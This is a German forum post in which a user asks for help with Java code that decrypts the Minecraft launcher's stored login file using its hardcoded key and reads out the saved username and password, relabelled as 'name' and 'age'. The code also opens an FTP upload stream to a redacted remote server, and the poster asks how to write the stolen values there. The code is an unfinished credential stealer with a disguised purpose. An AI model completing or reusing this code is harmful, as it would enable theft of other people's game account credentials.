F
fdsofjsT
Gast
Mein quellencode:
problem, es erstellt die datei, aber habe es nur soweit gebracht, dass das irgendeinaname und alter ausprintet. Aber ich möchte das in die datei schreiben.
Wie mach ich das?
Java:
import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.io.StringWriter;
import java.net.URL;
import java.net.URLConnection;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
/**
*
* @author DarkShadowz
*/
public class fdsf {
public static File getMinecraftDir() {
String os = System.getProperty("os.name", "").toLowerCase();
String home = System.getProperty("user.home", ".");
if (os.contains("win")) {
String appdata = System.getenv("APPDATA");
if (appdata != null) {
return new File(appdata, ".minecraft");
} else {
return new File(home, ".minecraft");
}
} else if (os.contains("mac")) {
return new File(home, "Library/Application Support/minecraft");
} else {
return new File(home, ".minecraft/");
}
}
public static void main(String[] args) throws IOException {
URL url = new URL("ftp://****:***@****.org/myfile.txt");
URLConnection conn = url.openConnection();
conn.setDoOutput(true);
OutputStream out = conn.getOutputStream();
try {
Random random = new Random(43287234L);
byte[] salt = new byte[8];
random.nextBytes(salt);
PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
cipher.init(2, pbeKey, pbeParamSpec);
File passFile = new File(getMinecraftDir(), "*****");
DataInputStream dis = null;
if (cipher != null) {
dis = new DataInputStream(new CipherInputStream(new FileInputStream(passFile), cipher));
} else {
dis = new DataInputStream(new FileInputStream(passFile));
}
;
System.out.println("IRGENEINANAME: " + dis.readUTF());
System.out.println("ALTER: " + dis.readUTF());
dis.close();
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
Wie mach ich das?